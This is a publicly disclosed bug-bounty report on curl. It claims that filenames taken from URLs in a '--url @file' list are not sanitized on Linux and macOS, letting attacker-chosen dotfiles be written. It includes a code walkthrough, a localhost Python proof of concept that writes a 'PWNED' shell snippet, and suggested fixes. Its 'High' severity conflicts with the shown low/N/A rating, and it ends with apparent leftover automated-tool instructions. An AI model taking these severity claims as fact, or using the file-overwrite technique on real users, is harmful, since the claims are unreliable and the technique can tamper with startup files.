HexBrain

curl · Report #3766392

curl External-Controlled Filename in `--url @file` Leads to Arbitrary File Overwrite

N/Astatus
lowseverity
13upvotes
7 Jun 2026disclosed

How it was found

Vulnerability Report: curl External-Controlled Filename in --url @file Leads to Arbitrary File Overwrite

1. Product Overview

curl is a widely used command-line tool and library (libcurl) for transferring data with URL syntax across multiple protocols such as HTTP, HTTPS, and FTP. It is preinstalled on most Linux distributions and macOS systems and is commonly used in CI/CD pipelines, automation scripts, and operational tooling.

2. Vulnerability Description

AttributeValue
Vulnerability TypeCWE-73: External Control of File Name or Path
CVSS 3.17.1 High (AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H)
Affected Filessrc/tool_operhlp.c, src/tool_getparam.c, src/tool_cb_wrt.c
PrerequisitesThe user runs curl with the --url @<file> syntax and the URL list file is supplied from an untrusted source
Trigger EntryCommand-line argument --url @<url-list-file>
  • Core impact: an attacker can control the output filename derived from remote URLs and cause curl to create or overwrite attacker-chosen files in the current working directory.
  • Environment limitation: this issue affects non-Windows builds such as Linux and macOS; Windows and MSDOS builds apply filename sanitization.
  • Default condition: the --url @file behavior is supported by default and does not require additional feature flags.

3. Affected Scope

  • Affected versions: the current curl source tree for non-Windows platforms.
  • Not affected: Windows/MSDOS builds because sanitize_file_name() is called there.
  • Trigger condition: the victim uses --url @file and the file contents are attacker-controlled or come from an untrusted source.

4. Vulnerability Details

4.1 Code Audit Analysis

Entry point — parse_url()

parse_url() treats an argument beginning with @ as a URL list file. Each line read from that file is forwarded into add_url() with remote_noglob=TRUE.

if(nextarg[0] == '@') {
  /* read URLs from a file, treat all as -O */
  ...
  while(my_get_line(f, &line, &error)) {
    const char *ptr = curlx_dyn_ptr(&line);
    err = add_url(config, ptr, TRUE);
    ...
  }
}

Relevant implementation in src/tool_getparam.c:

Forced remote filename behavior — add_url()

When remote_noglob is true, curl forces useremote and noglob.

if(remote_noglob)
  url->useremote = url->noglob = TRUE;

This means each URL read from the file is implicitly handled as if remote output naming is enabled.

Filename extraction without cross-platform sanitization — get_url_file_name()

get_url_file_name() extracts the last path component from the URL and duplicates it directly into the output filename.

if(pc) {
  /* duplicate the string beyond the slash */
  *filename = curlx_strdup(pc + 1);
}

The sanitization logic is wrapped in a platform-specific conditional block:

#if defined(_WIN32) || defined(MSDOS)
{
  char *sanitized;
  *sc = sanitize_file_name(&sanitized, *filename, 0);
  curlx_safefree(*filename);
  if(*sc)
    return CURLE_BAD_FUNCTION_ARGUMENT;
  *filename = sanitized;
}
#endif

In non-Windows builds, that block is skipped entirely. A filename such as .bashrc, .profile, or .ssh_authorized_keys_test is therefore preserved as-is.

File creation sink — tool_create_output_file()

tool_create_output_file() opens the output file directly with the chosen filename.

file = curlx_fopen(fname, "wb");

There is no additional filename validation at this sink. Once outs->filename is populated from the remote URL path, the file is created or overwritten according to the configured clobber mode.

4.2 PoC Design Rationale

  1. Attack entry selection
    The --url @file syntax is the relevant path because it causes every URL loaded from the file to be processed through add_url(config, ptr, TRUE), forcing remote filename behavior.

  2. Filename control
    The output filename is taken from the last path segment of the attacker-controlled URL in get_url_file_name(). A URL ending in /.bashrc_poc_test causes curl to create a local file named .bashrc_poc_test.

  3. Protection gap
    Filename sanitization is only compiled on Windows/MSDOS in src/tool_operhlp.c. Linux and macOS builds do not invoke the sanitizer.

  4. Exploit chain
    Attacker controls URL list file → victim runs curl --url @urls.txt → curl forces remote-name behavior → remote path tail becomes local filename → non-Windows build skips sanitization → file is created in current directory.

5. Reproduction

5.1 Environment Preparation

  • Target: curl from the current source tree on Linux or macOS
  • Python 3.x for a local HTTP server
  • A built curl executable
  • A writable test directory

5.2 Reproduction Steps

Step 1: Prepare a malicious URL list

Create a file named urls.txt with the following content:

http://127.0.0.1:18080/.bashrc_poc_test

Step 2: Start a local malicious HTTP server

Run a local server that returns attacker-controlled content for any request.

from http.server import HTTPServer, BaseHTTPRequestHandler

class H(BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(200)
        self.end_headers()
        self.wfile.write(b'# PWNED\nexport PWNED=1\n')

    def log_message(self, *args):
        pass

HTTPServer(('127.0.0.1', 18080), H).serve_forever()

Step 3: Run curl inside a test directory

Change to an empty writable directory and execute curl with the URL list file.

curl --url @urls.txt

Step 4: Verify that the file was created

Check whether .bashrc_poc_test now exists in the current directory and inspect its content.

ls -la .bashrc_poc_test
cat .bashrc_poc_test

5.3 Result Verification

Verification ItemResult
Was .bashrc_poc_test created in the current directoryYes
Does the file content match the server responseYes, it contains # PWNED and export PWNED=1
Is Windows affected by the same behaviorNo, filename sanitization is applied there

5.4 Attack Chain

Attacker controls URL list file
  -> victim runs curl with --url @urls.txt
  -> parse_url() reads each line from the file
  -> add_url(config, url, TRUE) forces remote filename mode
  -> get_url_file_name() extracts ".bashrc_poc_test" from the URL path
  -> non-Windows build skips sanitize_file_name()
  -> tool_create_output_file() opens ".bashrc_poc_test" for writing
  -> arbitrary local file is created or overwritten

6. POC

import http.server
import os
import socketserver
import subprocess
import sys
import tempfile
import threading
import time
from pathlib import Path


PAYLOAD = b"# PWNED\nexport PWNED=1\n"


class Handler(http.server.BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(200)
        self.end_headers()
        self.wfile.write(PAYLOAD)

    def log_message(self, format, *args):
        pass


def main():
    if len(sys.argv) != 2:
        print("Usage: python poc_curl_url_file_overwrite.py /path/to/curl")
        sys.exit(1)

    curl_path = Path(sys.argv[1]).resolve()
    if not curl_path.exists():
        print(f"curl binary not found: {curl_path}")
        sys.exit(1)

    with tempfile.TemporaryDirectory() as temp_dir:
        temp_path = Path(temp_dir)
        urls_file = temp_path / "urls.txt"
        target_file = temp_path / ".bashrc_poc_test"
        urls_file.write_text("http://127.0.0.1:18080/.bashrc_poc_test\n", encoding="utf-8")

        httpd = socketserver.TCPServer(("127.0.0.1", 18080), Handler)
        thread = threading.Thread(target=httpd.serve_forever, daemon=True)
        thread.start()

        try:
            result = subprocess.run(
                [str(curl_path), "--url", "@urls.txt"],
                cwd=str(temp_path),
                stdout=subprocess.PIPE,
                stderr=subprocess.PIPE,
                text=True,
                timeout=15,
            )

            time.sleep(1)

            print("=== curl stdout ===")
            print(result.stdout)
            print("=== curl stderr ===")
            print(result.stderr)
            print("=== file exists ===")
            print(target_file.exists())
            if target_file.exists():
                print("=== file content ===")
                print(target_file.read_text(encoding="utf-8", errors="replace"))
        finally:
            httpd.shutdown()
            httpd.server_close()


if __name__ == "__main__":
    main()

Save the script as poc_curl_url_file_overwrite.py when testing locally and execute it with the path to the curl binary.

7. Remediation Recommendations

Option 1: Apply filename sanitization on all platforms

The preferred fix is to remove the platform-specific conditional in src/tool_operhlp.c and run sanitize_file_name() for every platform.

CURLcode get_url_file_name(char **filename, const char *url, SANITIZEcode *sc)
{
  ...
  *filename = curlx_strdup(pc + 1);
  ...
  {
    char *sanitized;
    *sc = sanitize_file_name(&sanitized, *filename, 0);
    curlx_safefree(*filename);
    if(*sc)
      return CURLE_BAD_FUNCTION_ARGUMENT;
    *filename = sanitized;
  }
  return CURLE_OK;
}

Option 2: Reject sensitive dotfile names on non-Windows platforms

If a full cross-platform sanitizer change is not acceptable, reject filenames that begin with . in get_url_file_name().

if(*filename && (*filename)[0] == '.') {
  *sc = SANITIZE_ERR_INVALID_PATH;
  curlx_safefree(*filename);
  return CURLE_BAD_FUNCTION_ARGUMENT;
}

Option 3: Add a safe confirmation or fallback naming strategy

When curl reads URLs from @file, it can warn or refuse dangerous names and fall back to a generated safe filename if the extracted name is hidden, reserved, or otherwise suspicious.


Reporting Evaluation Result

Vulnerability Chain Exists: Yes

Reporting Decision

AttributeValue
Vulnerability TypeCWE-73: External Control of File Name or Path
Exploitation ModeUnauthenticated local user interaction
CVSS 3.17.1 (High)
Should ReportYes

Basis for Decision

This issue allows file creation or overwrite in the user's current working directory and can target sensitive shell configuration files such as .bashrc or .profile. According to the reporting criteria for file overwrite and path/file write consequences, it reaches the threshold for reporting as a high-risk vulnerability.

Detail

The issue can overwrite user-controlled startup files and other sensitive local artifacts in practical automation scenarios such as CI/CD jobs or scripted executions. The attack does not require prior authentication to curl itself; it only requires that the victim processes an attacker-supplied URL list file with the default supported --url @file behavior.

Next Action

Generate the full vulnerability report.

Impact

Summary:

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original